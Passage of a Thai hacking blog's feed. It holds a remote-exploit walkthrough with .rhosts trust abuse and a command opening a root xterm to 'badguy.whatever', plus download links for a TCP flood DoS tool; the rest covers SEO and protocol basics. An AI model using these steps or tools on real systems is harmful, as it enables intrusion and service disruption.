- คุณใช้คำสั่ง finger ไปยังแอกเคาท์ต่าง ๆ แล้วพบว่า home directory 
ของยูสเซฮร์ fred คือ /home2/old/fred เขาไม่ได้ log in หลายเดือนแล้ว&lt;br /&gt;
- คุณสร้างแอกเคาท์ fred ในเครื่อง badguy ทันที&lt;br /&gt;
- แล้วคุณจึง mount /home2/old ในเครื่องเป้าหมาย แล้วสร้างไฟล์ .rhosts เพื่อให้เครื่องที่ตกเป็นเหยื่อเชื่อถือเครื่อง badguy&lt;br /&gt;
- หลังจากที่คุณเป็นยูสเซอร์ fred ในเครื่อง badguy คุณจึงเชื่อมต่อแบบ rlogin ไปยังเครื่องเป้าหมายโดยเป็นยูสเซอร์ fred&lt;br /&gt;
ต่อไปนี้เป็นตัวอย่างการโจมตีโดยอาศัย buffer overflow&lt;br /&gt;
- โฮสต์ที่เป็นเป้าหมายกำลังรัน named&lt;br /&gt;
- คุณได้เขียน exploit ที่เกี่ยวกับ named 
ที่ยอมให้คุณสามารถส่งคำสั่งได้ตามต้องการผ่าน named daemon ซึ่งใช้เทคนิค 
buffer overflow คุณคอมไพล์มันและตั้งชื่อว่า sploit&lt;br /&gt;
- คุณพิมพ์ว่า: sploit victim.nmrc.org &quot;/usr/X11R6/bin/xterm -display badguy.whatever:0&quot;&lt;br /&gt;
- มีวินโดวส์ปรากฏขึ้นที่จอเทอร์มินัลของคุณที่กำลังรันเป็น root อยู่ที่ victim.nmrc.org&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;ข้อมูล infosec.sran.org&lt;/span&gt;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6410411261799826866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6410411261799826866'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/hacking-remote-exploit.html' title='การ Hack ด้วย Remote Exploit'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0xzAzHI3iqeoHdrf1R2BwOAQidO9cUJX4Yvogq7Bf2oIAnZ3EQl8L3a46zAmkYXFKoLtpOYYWM4CEmau8yyr9SElekPH_bntsuQeBsB13KDXC0ADIO4fepNR2i-xTq_sbrBNxmL1sa1fS/s72-c/exploit.gif" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-1488418957688745228</id><published>2013-10-19T22:01:00.002+07:00</published><updated>2013-10-19T22:09:11.524+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Index"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Web"/><category scheme="http://www.blogger.com/atom/ns#" term="คำสั่งพื้นฐาน"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนเขียน PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><title type='text'>การทำ SEO ให้เว็บไซต์ติดอันดับ และ เป็นมิตรกับ Google</title><content type='html'>&lt;h3&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt; การทำ SEO ให้เว็บไซต์ติดอันดับ และ เป็นมิตรกับ Google&lt;/h3&gt;
&lt;h3&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;/a&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; คอนเซปต์หรือจุดประสงค์สูงสุดของเราในการจัดทำSEOให้แก่เวปไซต์ของท่านมีอยู 2 ประเด็นคือ&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;1). &lt;span style=&quot;color: blue;&quot;&gt;เพื่อให้เวปไซต์ของท่านมีความเป็นมิตรกับWeb Crawlerของกูเกิลมากที่สุด &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: red;&quot;&gt;2). &lt;span style=&quot;color: blue;&quot;&gt;เพื่อให้เวปไซต์ของท่านง่ายต่อการใช้(หรือเข้าชม)ของผู้เยี่ยมชมเวปไซต์มากที่สุด&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;

&lt;br /&gt;
&lt;hr /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;รูป ก. นี้ใช้อธิบายข้อ 1-4&lt;/span&gt;&lt;br /&gt;
&lt;img alt=&quot;การทำseoให้ติดอันดับและเป็นมิตรต่อgoogle&quot; border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://www.chiangmaichristianwebsite.com/images/pics_for_contents/seo-description-01.jpg&quot; style=&quot;border-color: black; border-style: solid; border-width: 2px;&quot; title=&quot;คำอธิบายการทำseoให้ติดอันดับและเป็นมิตรต่อgoogle&quot; width=&quot;400&quot; /&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;(รูปนี้ใช้อธิบายข้อ 1-4)&lt;/span&gt;&lt;/div&gt;
จากรูป ก. สรุปได้ว่า&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;color: blue;&quot;&gt;1. เวปไซต์เป็นระเบียบ มีระบบนำทางดี&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt;(Navigation)&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;หุ่นยนต์ที่เรียกว่า web crawler 
ซึ่งไต่ไปตามเวปต่างๆในโลกอินเตอร์เนทของกูเกิลเพื่อเก็บข้อมูลไปindexหน้า
เวปกูเกิลนั้นไม่ชอบเวปไซต์ที่ยุ่งเหยิง ข้อมูลกระจัดกระจาย และรกรุงรัง &lt;br /&gt;
&amp;nbsp;
 &amp;nbsp; &amp;nbsp;จากรูปจะเห็นว่าเวปไซต์มีความเรียบง่าย 
แต่แน่นด้วยคุณภาพคือมีการแบ่งหมวดหมู่อย่างชัดเจนและง่ายต่อการใช้งานของ
ผู้เยี่ยมชมเวปไซต์ ซึ่งลักษณะแบบนี้จะมีความเป็นมิตรต่อweb 
crawlerของกูเกิลมากตามคอนเซปต์&quot;เรียบง่ายด้วยสาระ&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; 
&amp;nbsp;เวปไซต์เก่าของลูกค้าบางท่านนำเสนอข้อมูลอย่างกระจัดกระจาย 
ซึ่งทางเราจะช่วยจัดวางระบบข้อมูลใหม่ทั้งหมดเพื่อให้ถูกกับประเภทของ
ข้อมูล&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;color: blue;&quot;&gt;2. มีหัวข้อและอยู่ในตำแหน่งที่โดดเด่น &lt;span style=&quot;color: red;&quot;&gt;(Header)&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;การนำเสนอข้อมูลใดๆต้องมีหัวข้อนำก่อนทุกครั้ง 
ไม่ควรนำเสนอข้อมูลใดๆก่อนโดยไม่มีหัวข้อ 
เพราะกูเกิลจะนำหัวข้อนี้ไปindexในเวปกูเกิล 
และเมื่อมีใครค้นหาด้วยkeywordsหรือคำค้นที่ใกล้เคียงกับหัวข้อ 
เวปเราจะปรากฏในลำดับต้นๆของเวปกูเกิล 
การไม่มีหัวข้อนอกจากกูเกิลไม่ชอบแล้ว 
คนเยี่ยมชมเวปก็ต้องใช้เวลาอ่านนานกว่าจะเข้าใจว่ากำลังพูดถึงเรื่งออะไร
อยู่ 
การทำSEOจึงต้องมีหัวข้อที่ตรงกับเรื่องที่นำเสนอและอยู่ในตำแหน่งที่โดด
เด่น ซึ่งจากรูป ก. 
จะเห็นว่าหัวข้ออยู่ในตำแหน่งที่โดดเด่นและจัดทำเป็นตัวหนา&lt;br /&gt;
&amp;nbsp; &amp;nbsp; 
&amp;nbsp;เวปไซต์เก่าของลูกค้าบางท่านขาดความเข้าใจจึงนำเสนอข้อมูลโดยไม่มีหัวข้อ
กำกับ ซึ่งทางเราจะช่วยวิเคราะห์และจัดทำหัวข้อให้ตรงกับเนื้อหา&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;3. มีรายละเอียดที่แน่นด้วยสาระ&amp;nbsp;&lt;/span&gt;(Content)&lt;/span&gt;&lt;/h3&gt;
&amp;nbsp; &amp;nbsp; 
&amp;nbsp;รายละเอียดคือหัวใจสำคัญของเวปไซต์ว่าเวปไซต์เรานำเสนอหรือเกี่ยวข้องกับ
อะไร รายละเอียดต้องแน่นด้วยสาระแต่ต้องไม่เยิ่นเย้อหรืออรัมภบทมากเกินไป 
ควรกระชับและได้ใจความ จากรูป ก. จะเห็นว่าข้อความมีการนำเสนออย่างกระชับ 
ได้ใจความ&lt;br /&gt;
&amp;nbsp; &amp;nbsp; 
&amp;nbsp;เวปไซต์เก่าของลูกค้าบางท่านอรัภบทยาวหรืออธิบายมากเกินความจำเป็น 
ซึ่งทางเราจะช่วยขัดเกลาให้มีความกระชับและได้ใจความ 
รวมทั้งช่วยปรับปรุงให้เนื้อหามีความสัมพันธ์กับหัวข้อ เพราะweb 
crawlerจะให้ความสำคัญกับความเกี่ยวข้องระหว่างหัวข้อกับรายละเอียดด้วย&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;color: blue;&quot;&gt;4. มีการเน้นหัวข้อหรือประโยคที่สำคัญ &lt;span style=&quot;color: red;&quot;&gt;(Highlight)&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;ประโยคไหน หรือคำไหนที่เราต้องการเน้นให้ลูกค้าจดจำ 
เราควรเน้นคำหรือประโยคนั้นๆให้โดดเด่น เช่น ทำให้เป็นตัวใหญ่ ตัวหนา 
ขีดเส้นใต้ หรือตัวหนังสือสี เพราะจะดึงดูดให้ web crawler 
เข้ามาเก็บข้อมูลไปindexไว้หน้ากูเกิลมากกว่าตัวหนังสือปกติ&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;จากรูป ก.จะเห็นว่ามีการทำตัวใหญ่และหนาพวกคำ หัวข้อหรือประโยคที่สำคัญและเราต้องการเน้นเป็นพิเศษ&lt;br /&gt;
&lt;hr /&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;color: blue;&quot;&gt;5. เมาส์ชี้แล้วมีคำอธิบาย&lt;/span&gt; (ดูรูปประกอบ)&lt;/h3&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;รูป ข.&lt;/span&gt;&lt;/div&gt;
&lt;img alt=&quot;การทำseoรูปภาพ เอาเมาส์ชี้แล้วมีคำอธิบาย&quot; border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://www.chiangmaichristianwebsite.com/images/pics_for_contents/seo-description-04.jpg&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; title=&quot;คำอธิบายการทำseoให้ติดอันดับและเป็นมิตรต่อgoogle&quot; width=&quot;400&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;โดยปกติweb 
crawlerรู้จักเวปไซต์หรือรายละเอียดแต่ละหน้าจากข้อความหรือเนื้อหาภายใน
เวปไซต์หรือหน้าเวปเพจนั้นๆ 
แต่เนื่องจากไฟล์รูปภาพไม่ใช่ไฟล์ตัวหนังสือ(font)ถ้าเราไม่บอกว่าเป็นรูป
ภาพอะไร web crawlerก็จะไม่รู้จัก ไม่นำรูปเราไปindexในเวปกูเกิล 
เราจึงต้องบอกใบ้ให้web crawlerรู้ว่ารูปดังกล่าวคือภาพอะไร&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;จากรูป
 ข. เมื่อเราเอาเมาส์ไปชี้แช่ไว้ที่รูปภาพสักครู่หนึ่ง 
จะมีคำอธิบายบอกว่ารูปนี้คือรูปอะไร 
ซึ่งทำให้รูปดังกล่าวถูกนำไปindexในไฟล์รูปภาพของกูเกิล 
คนก็จะค้นเจอรูปเราในเวปกูเกิล(นำให้เขาเข้ามาที่เวปเรา 
เป็นการเพิ่มโอกาสได้ลูกค้าภายในตัว) 
ลองเปิดเวปท่านแล้วเอาเมาส์ไปชี้แช่ไว้ว่ามีคำอธิบายหรือไม่&lt;br /&gt;
&amp;nbsp; &amp;nbsp; 
&amp;nbsp;เวปเก่าของลูกค้าบางท่านไม่มีเทคนิคนี้ 
กูเกิลจึงไม่เก็บรูปไปอินเดกซ์ทำให้เสียโอกาสหลายอย่างไป 
ซึ่งทางเราจะช่วยเพิ่มเทคนิคนี้ให้แก่เวปท่าน เพื่อชี้ให้web 
crawlerรู้ว่ารูปดังกล่าวคือรูปอะไร 
ซึ่งจะทำให้เวปไซต์ท่านได้เปรียบกว่าเวปอื่น(หรือเวปคู่แข่ง)ไปก้าวหนึ่ง&lt;br /&gt;
&lt;hr /&gt;
&lt;br /&gt;
&lt;h3&gt;
&lt;span style=&quot;color: blue;&quot;&gt;6. แอบซ่อน Source Code ไว้หน้าเวปเพจ&lt;/span&gt; (ดูรูปประกอบ)&lt;/h3&gt;
ก่อนอ่านข้อนี้ให้ท่านลองทำตามคำแนะนำต่อไปนี้ &lt;br /&gt;
- เปิดเวปไซต์ท่านขึ้นมา &lt;br /&gt;
- เอาเมาส์ไปคลิกที่ View ของ Browser แล้วคลิกเลือกSource &lt;br /&gt;
- จะปรากฏหน้าต่างsource codeออกมาดังรูป ค. &lt;br /&gt;
จากนั้นให้สังเกตว่าเวปท่านมีข้อมูลอย่างที่จะอธิบายต่อไปนี้หรือยัง? &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;รูป ค.&lt;/span&gt;&lt;img alt=&quot;การแทรกkeywordsหน้าเวป เทคนิคการทำseo&quot; border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://www.chiangmaichristianwebsite.com/images/pics_for_contents/seo-description-03.jpg&quot; title=&quot;การแทรกkeywordsหน้าเวป เทคนิคการทำseo&quot; width=&quot;400&quot; /&gt;&lt;/div&gt;
&amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Source Code&lt;/span&gt; คือ&lt;/b&gt;
 ชุดรหัสคำสั่งให้เวปไซต์แสดงผลหน้าเวป 
หน้าเวปเพจเปรียบเหมือนจอทีวีที่หลังทีวีต้องมีหลอดจอภาพและอุปกรณ์ต่างๆที่
ทำงานสัมพันธ์กันเพื่อให้มีภาพปรากฏหน้าจอ ฉะนั้นsource 
codeก็เปรียบเสมือนจอภาพและสายไฟ อุปกรณ์ที่อยู่เบื้องหลังทีวี&lt;br /&gt;
&amp;nbsp; &amp;nbsp; 
&amp;nbsp;Web Crawlerจะไต่สำรวจข้อมูลเวปไซต์หรือหน้าเวปเพจต่างๆไปตามsource 
codeที่สลับซับซ้อนเหล่านี้ ซึ่งเราสามารถใช้ข้อดีตรงนี้โดยการแอบแทรก &lt;span style=&quot;text-decoration: underline;&quot;&gt;&lt;span style=&quot;color: blue; text-decoration: underline;&quot;&gt;meta keywords&lt;/span&gt;&lt;/span&gt;
 ซึ่งเป็นพวกkeywordsที่เกี่ยวข้องกับเวปไซต์เราไปแทรกไว้ใน source code 
เพื่อให้กูเกิลเก็บข้อมูลไปindexในเวปกูเกิล 
ส่งผลทำให้เวปเราถูกคนค้นเจอเยอะกว่าเวปคู่แข่งที่ไม่ได้ใช้เทคนิคนี้&lt;br /&gt;
&amp;nbsp; &amp;nbsp;
 &amp;nbsp;จากรูป ค. ซึ่งเป็นเวปไซต์กำจัดปลวก 
จะเห็นว่ามีการแทรกkeywordsต่างๆที่เกี่ยวข้องกับการกำจัดปลวกไว้ในsource 
codeซึ่งkeywordsเหล่านี้จะถูกกูเกิลเก็บไปอินเด็กซ์&lt;br /&gt;
&lt;br /&gt;
ข้อมูลจาก : &lt;a href=&quot;http://www.chiangmaichristianwebsite.com/&quot;&gt;http://www.chiangmaichristianwebsite.com/&lt;/a&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1488418957688745228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1488418957688745228'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/seo-top-google.html' title='การทำ SEO ให้เว็บไซต์ติดอันดับ และ เป็นมิตรกับ Google'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-1933877512783089684</id><published>2013-10-19T16:43:00.002+07:00</published><updated>2015-01-24T11:25:25.634+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Tool"/><category scheme="http://www.blogger.com/atom/ns#" term="คำสั่งพื้นฐาน"/><category scheme="http://www.blogger.com/atom/ns#" term="ปลอม IP"/><category scheme="http://www.blogger.com/atom/ns#" term="ยิงIP"/><category scheme="http://www.blogger.com/atom/ns#" term="สคิป Bot"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>การยิง IP ด้วย TCP Flood (รีวิว)</title><content type='html'>&amp;nbsp;&amp;nbsp; อันเนื่องมาจากบทความยิง IP ด้วย TCP Flood ว่ามันจริงหรือไม่ เนื่องจากการ Flood หรือที่รู้ๆกันแล้วว่า คือการส่งข้อมูล Pecket ขนาดต่างๆ เข้ามาอย่างรวดเร็วจน เซิฟหรือ คอม ไม่สามารถ ประมวณผลได้ทัน จนทำให้ล่มในที่สุด ผมว่าเข้ามาดูกันดีกว่า ว่ามันยิงได้หรือไม่&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;iframe align=&quot;middle&quot; frameborder=&quot;0&quot; height=&quot;376&quot; scrolling=&quot;no&quot; src=&quot;http://www.youtube.com/embed/4qMkY7Fe8ik&quot; title=&quot;YouTube video player&quot; type=&quot;text/html&quot; width=&quot;528&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ใครที่อยากได้ผมจะแจกละกัน เร็วๆนะครับ เพราะผมจะลบแล้ว ถ้าโดนเตือน โปรแกรมนี้เป็นภาษา Perl ต้องลง โปรแกรมที่สามารถ Run ภาษา Pl ได้&lt;br /&gt;
&lt;br /&gt;
ลิงค์โหลด &lt;a href=&quot;http://p.pw/baenrU&quot; rel=&quot;nofollow&quot;&gt;ActivePerl&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
ลิงค์โหลด TCP Flood : &lt;a href=&quot;http://p.pw/baepjf&quot; target=&quot;_blank&quot;&gt;TCP Flood Download&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
รีวิวจาก Blog เก่าผม ถ้ายังไม่เข้าใจว่าการยิง IP จริงๆคืออะไรผมแนะนำให้ไปอ่านที่ : &lt;a href=&quot;http://p.pw/baenrV&quot;&gt;http://p.pw/baenrV&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
ส่วนใครที่ไม่รู้ว่ามันคืออะไร และ เขียน Perl ไม่เป็นกรุณาอย่าโชว์ภูมิความรู้ที่น้อยนิดก็ได้นะครับ เพราะผมอธิบายไปแล้วว่า Flood มันคืออะไร DDos คืออะไร เพราะก่อนหน้านี้มีคนโชว์ภูมิความรู้ว่า เป็นแค่โปรแกรมปิดหน้าต่างนะครับ เห็นแล้วรู้สึกสังเวชใน ความรู้ของคนๆนั้น กรุณากลับไปอ่านพวก Perl ก่อนเถอะครับ&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;ปล. ผมไม่สอนยิง IP หรือ ยิง IP ให้ใคร เพราะทางเราไม่สนับสนุนให้เป็น&quot;เกรียน&quot;&lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1933877512783089684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1933877512783089684'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/ip-udp-flood-flood-pecket-perl-run-pl.html' title='การยิง IP ด้วย TCP Flood (รีวิว)'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/4qMkY7Fe8ik/default.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-1603972707009455950</id><published>2013-10-19T15:47:00.001+07:00</published><updated>2013-10-19T16:02:24.676+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="คำสั่งพื้นฐาน"/><category scheme="http://www.blogger.com/atom/ns#" term="ยิงIP"/><category scheme="http://www.blogger.com/atom/ns#" term="สคิป Bot"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนเขียน PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนเว็บ"/><title type='text'>Protocol คืออะไร?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGi9wO4-7EG7pCAjVOfH-fzqrCjLhU9HtP1uIQ12j3TE3hzdRFQR6-S4G4w4jdAOKWIg1wHHMRyNlBtDDYLmw3FxlpvPn-qtdBzZ5nmfa0RLE0CksxmOBsUmK6gPCYz90JhsYTCAZ_-GHW/s1600/cnt2_01.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGi9wO4-7EG7pCAjVOfH-fzqrCjLhU9HtP1uIQ12j3TE3hzdRFQR6-S4G4w4jdAOKWIg1wHHMRyNlBtDDYLmw3FxlpvPn-qtdBzZ5nmfa0RLE0CksxmOBsUmK6gPCYz90JhsYTCAZ_-GHW/s400/cnt2_01.gif&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Protocol คืออะไร&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
 โปรโตคอล คือ ข้อกำหนดหรือข้อตกลงในการสื่อสารระหว่างคอมพิวเตอร์ 
หรือภาษาสื่อสารที่ใช้เป็น ภาษากลางในการสื่อสารระหว่างคอมพิวเตอร์ด้วยกัน 
การที่เครื่องคอมพิวเตอร์ที่ถูกเชื่อมโยงกันไว้ในระบบจะสามารถติดต่อสื่อสาร
กันได้นั้น จำเป็นจะต้องมีการสื่อสารที่เรียกว่า โปรโตคอล (Protocol) 
เช่นเดียวกับคนเราที่ต้องมีภาษาพูดเพื่อให้สื่อสารเข้าใจกันได้ &lt;br /&gt;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; โปรโตคอลช่วยให้ระบบคอมพิวเตอร์สองระบบ 
ที่แตกต่างกันสามารถสื่อสารกันอย่างเข้าใจได้&amp;nbsp; คือข้อตกลงที่กำหนดเกี่ยว 
กับการสื่อสารระหว่างเครื่องคอมพิวเตอร์ต่างๆ ทั้งวิธีการส่งและรับข้อมูล 
วิธีการตรวจสอบข้อผิดพลาดของการส่งและรับข้อมูล 
การแสดงผลข้อมูลเมื่อส่งและรับกันระหว่างเครื่องสองเครื่อง 
ดังนั้นจะเห็นได้ว่าโปรโตคอลมีความสำคัญมากในการสื่อสารบนเครือข่าย 
หากไม่มีโปรโตคอลแล้ว การสื่อสารบนเครือข่ายจะไม่สามารถเกิดขึ้นได้&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ตัวอย่างของโปรโตคอล&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;1. โปรโตคอล HTTP  หรือ Hypertext Transfer Protocol จะใช้เมื่อเรียกโปรแกรมบราวเซอร์ (Browser)&lt;br /&gt;
&lt;br /&gt;2. โปรโตคอล TCP/IP 
 หรือ Transfer Control Protocol/Internet 
Protocol คือเครือข่ายโปรโตคอลที่สำคัญมากที่สุด 
เนื่องจากเป็นโปรโตคอลที่ใช้ในระบบเครือข่าย Internet รวมทั้ง Intranet 
ซึ่งประกอบด้วย 2 โปรโตคอลคือ TCP และ IP&lt;br /&gt;
&lt;br /&gt;3. โปรโตคอล SMTP  หรือ Simple Mail Transfer Protocol คือ โปรโตคอล ที่ใช้ในการรับส่งจดหมายอิเล็กทรอนิกส์บนเครือข่ายอินเทอร์เน็ต&lt;br /&gt;
&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; นอกจากโปรโตคอลที่กล่าวมาข้างต้นแล้ว ยังมีโปรโตคอลต่างๆอีกมากมาย เช่น การโอนย้ายแฟ้มระหว่างกัน ใช้โปรโตคอลชื่อ FTP 
 หรือ File Transfer Protocol 
การโอนย้ายข่าวสารระหว่างกันก็ใช้โปรโตคอลชื่อ NNP หรือ Network News 
Transfer Protocol 
และยังมีโปรโตคอลที่สำคัญสำหรับการสอบถามข้อมูลข่าวสารระหว่างกัน 
ซึ่งเป็นโปรโตคอลที่มีประโยชน์มาก โปรโตคอลนี้มีชอว่า ICMP หรือ Internet 
Control Message Protocolเป็นต้น&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Protocol HTTP คือ?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp; HTTP เป็นกลไกหรือโปรโตคอลหลักที่ใช้แลกเปลี่ยนข้อมูลกันระหว่างเซิร์ฟเวอร์และไคลเอนต์ของเวิลด์ไวด์เว็บ(www.) โดยถูกออกแบบมาให้มีความกระทัดรัด สามารถทำงานได้รวดเร็ว มีกระบวนการทำงานที่ไม่ซับซ้อน และมีคำสั่งที่ใช้งานไม่มากนัก แต่สามารถรองรับข้อมูลได้ทุกแบบ ไม่ว่าเป็นข้อมูลทั่วไปที่เข้ารหัสแบบ MIME หรือข้อมูลที่เป็นกราฟิก&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; หลักการทำงานทั่วๆไปของ HTTP คือ จะแบบการทำงานออกเป็น 2 ด้านคือ ด้านเว็บเซิร์ฟเวอร์ และด้านไคลเอนต์ โดยไคลเอนต์จะติดต่อเข้ามายังเซิร์ฟเวอร์โดยใช้โปรแกรมบราวเซอร์ และอ้างถึงแอดเดรสของเซิร์ฟเวอร์โดยใช้รูปแบบของ URL ส่วนด้านเซิร์ฟเวอร์จะส่งข้อมูลกลับมาในรูปแบบที่เป็น HTML โดยที่โปรโตคอล HTTP ใช้วิธีการเข้ารหัสในแบบ MIME เป็นมาตรฐานของการทำงาน&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; โครงสร้างข้อมูลของ HTTP จะแบ่งออกเป็น 2 ส่วนใหญ่ๆคือ ส่วนเฮดเดอร์ หรือเรียกว่า metadata จะเป็นส่วนเก็บข้อมูลที่จำเป็นต้องใช้ภายในโปรโตคอล ส่วนที่สองเป็นส่วนข้อมูลจริงที่ต้องการรับส่ง ทั้งนี้ HTTP ถูกออกแบบมาให้สามารรับส่งข้อมูลผ่าน Proxy หรือ Firewall ต่างๆได้ โดยการทำงาน HTTP จะอาศัยโปรโตคอลพื้นฐาน TCP/IP ซึ่งทั่วไปจะใช้หมายเลขพอร์ตที่ 80&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; โปรโตคอล HTTP ในปัจจุบันได้พัฒนาขึ้นมาเป็นเวอร์ชั่น 1.1 (จากเดิมคือ เวอร์ชั่น 1.0) 